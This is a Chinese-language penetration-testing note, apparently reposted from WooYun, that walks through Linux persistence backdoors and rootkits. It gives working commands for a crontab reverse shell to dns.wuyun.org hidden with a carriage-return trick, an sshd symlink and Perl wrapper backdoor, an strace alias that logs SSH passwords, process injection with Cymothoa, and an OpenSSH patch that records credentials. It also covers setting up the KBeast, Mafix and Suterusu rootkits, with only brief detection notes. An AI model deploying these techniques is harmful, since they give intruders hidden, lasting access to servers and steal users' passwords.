<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/15702

                    0x00 前言


                    前一段時間學習一小部分內網的小筆記,http://zone.wooyun.org/content/26415

                    結果沒想到好像還是比較受歡迎,也是第一次被劈雷。最近辦比賽遇上了rookit種植,感覺很無奈,所以自己也就研究了一下,內容都是一些以前的技術,也是為下面的筆記再次增加一章(windows下的域權限維持可以多看看三好學生師傅的文章)。大牛飄過。

                    筆記地址:
                    https://github.com/l3m0n/pentest_study

                    測試環境:centos 6.5

                    0x01 crontab


                    計劃任務,永遠的愛

                    每60分鐘反彈一次shell給dns.wuyun.org的53端口

                    #!bash
                    (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
                    

                    0x02 硬鏈接sshd


                    上了防火墻的坑...測試前關閉一下吧

                    #!bash
                    service iptables stop
                    

                    出現:ssh: connect to host 192.168.206.142 port 2333: No route to host

                    #!bash
                    ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;
                    ssh [email protected] -p 2333
                    

                    用root/bin/ftp/mail當用戶名,密碼任意

                    后門排查:

                    #!bash
                    netstat -anopt
                    

                    查找有問題的進程

                    #!bash
                    ps -ef | grep pid
                    ls -al /tmp/su
                    kill -9 pid
                    rm -rf /tmp/su
                    

                    p1

                    0x03 SSH Server wrapper


                    條件:開啟ssh,如果不連接是沒有端口進程的,而且last也看不到

                    #!bash
                    cd /usr/sbin
                    mv sshd ../bin
                    echo '#!/usr/bin/perl' >sshd
                    
                    echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
                    
                    echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
                    chmod u+x sshd
                    //不用重啟也行
                    /etc/init.d/sshd restart
                    

                    kali下的執行

                    #!bash
                    socat STDIO TCP4:192.168.206.142:22,sourceport=13377
                    

                    對于源端口的修改:

                    #!python
                    >>> import struct
                    >>> buffer = struct.pack('>I6',19526)
                    >>> print repr(buffer)
                    '\x00\x00LF'
                    >>> buffer = struct.pack('>I6',13377)
                    >>> print buffer
                    4A
                    

                    后門排查:

                    #!bash
                    netstat -anopt
                    //查看一下sshd進程情況,如果發現不是/usr/sbin/目錄下面,就有問題
                    ll /proc/1786
                    cat /usr/sbin/sshd
                    

                    p2

                    還原:

                    #!bash
                    rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;
                    

                    0x04 SSH keylogger


                    vim當前用戶下的.bashrc文件,末尾添加

                    #!bash
                    alias ssh='strace -o /tmp/sshpwd-`date    '+%d%h%m%s'`.log -e read,write,connect  -s2048 ssh'
                    

                    然后使配置生效

                    #!bash
                    source .bashrc
                    

                    當本地su或者ssh的時候,就會在tmp下面記錄(無論失敗成功都有記錄)

                    p3

                    0x05 Cymothoa_進程注入backdoor


                    很贊的點是注入到的進程,只要有權限就行,然后反彈的也就是進程相應的權限(并不需要root那樣),當然進程重啟或者掛了也就沒了.當然動作也是很明顯的。

                    線程注入:

                    #!bash
                    ./cymothoa -p 2270 -s 1 -y 7777
                    

                    p4

                    #!bash
                    nc -vv ip 7777
                    

                    0x06openssh_rookit


                    下載地址:http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

                    先patch

                    #!bash
                    wget http://mirror.corbina.net/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
                    tar zxvf openssh-5.9p1.tar.gz
                    cp sshbd5.5p1.diff openssh-5.9p1/
                    cd openssh-5.9p1
                    patch < sshbd5.9p1.diff
                    

                    安裝依賴

                    #!bash
                    yum install zlib-devel
                    yum install openssl-devel
                    yun install pam-devel
                    yun install krb5-lib(沒安裝)
                    

                    修改includes.h

                    p5

                    編譯安裝再重啟sshd服務

                    #!bash
                    ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
                    make && make install && service  sshd restart
                    

                    利用:

                    會記錄登入登出的ssh賬號密碼(錯誤的也會記錄),配置文件中設置的密碼,也可以通過ssh然后root登陸。

                    p6

                    發現:

                    p7

                    找到可疑sshd并且查看一下last的登陸ip,最后kill他們的進程,清除暫時不知

                    0x07 Kbeast_rootkit


                    http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz

                    #!bash
                    tar -zxvf ipsecs-kbeast-v1.tar.gz
                    cd kbeast-v1/
                    vi config.h
                    

                    重要配置:

                    #!cpp
                    //鍵盤記錄
                    #define _LOGFILE_ "acctlog"
                    
                    //rookit產生的日志配置文件所存儲位置(此位置是被隱藏的)
                    #define _H4X_PATH_ "/usr/_h4x_"
                    
                    //telnet端口(端口也是隱藏的,netstat是看不到的)
                    #define _HIDE_PORT_ 23333
                    
                    //telnet的端口以及返回回來的用戶名(必須能調用/sh/bash,否則安裝會出現Network Daemon錯誤)
                    #define _RPASSWORD_ "lolloltest"
                    #define _MAGIC_NAME_ "root"
                    

                    利用:

                    1、記錄:

                    p8

                    2、telnet連接

                    p9

                    發現:其實感覺修改一下進程名,發現還是有點麻煩

                    p10

                    0x08 Mafix + Suterusu rookit


                    1、Mafix

                    #!bash
                    ./root lolloltest 23333
                    

                    這樣就會產生一個端口為23333,root密碼也可以用lolloltest登陸的ssh,端口不隱藏

                    p11

                    這時候就可以用Suterusu配合使用

                    2、Suterusu

                    功能表:

                    #!bash
                    Get root
                    $ ./sock 0
                    Hide PID
                    $ ./sock 1 [pid]
                    Unhide PID
                    $ ./sock 2 [pid]
                    Hide TCPv4 port
                    $ ./sock 3 [port]
                    Unhide TCPv4 port
                    $ ./sock 4 [port]
                    Hide TCPv6 port
                    $ ./sock 5 [port]
                    Unhide TCPv6 port
                    $ ./sock 6 [port]
                    Hide UDPv4 port
                    $ ./sock 7 [port]
                    Unhide UDPv4 port
                    $ ./sock 8 [port]
                    Hide UDPv6 port
                    $ ./sock 9 [port]
                    Unhide UDPv6 port
                    $ ./sock 10 [port]
                    Hide file/directory
                    $ ./sock 11 [name]
                    Unhide file/directory
                    $ ./sock 12 [name]
                    

                    編譯:

                    #!bash
                    make linux-x86 KDIR=/lib/modules/$(uname -r)/build
                    gcc sock.c -o sock
                    //加載模塊
                    insmod suterusu.ko
                    

                    結合Mafix使用(隱藏端口):

                    #!bash
                    ./sock 3 [port]
                    

                    p12

                    0x09 參考資料


                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频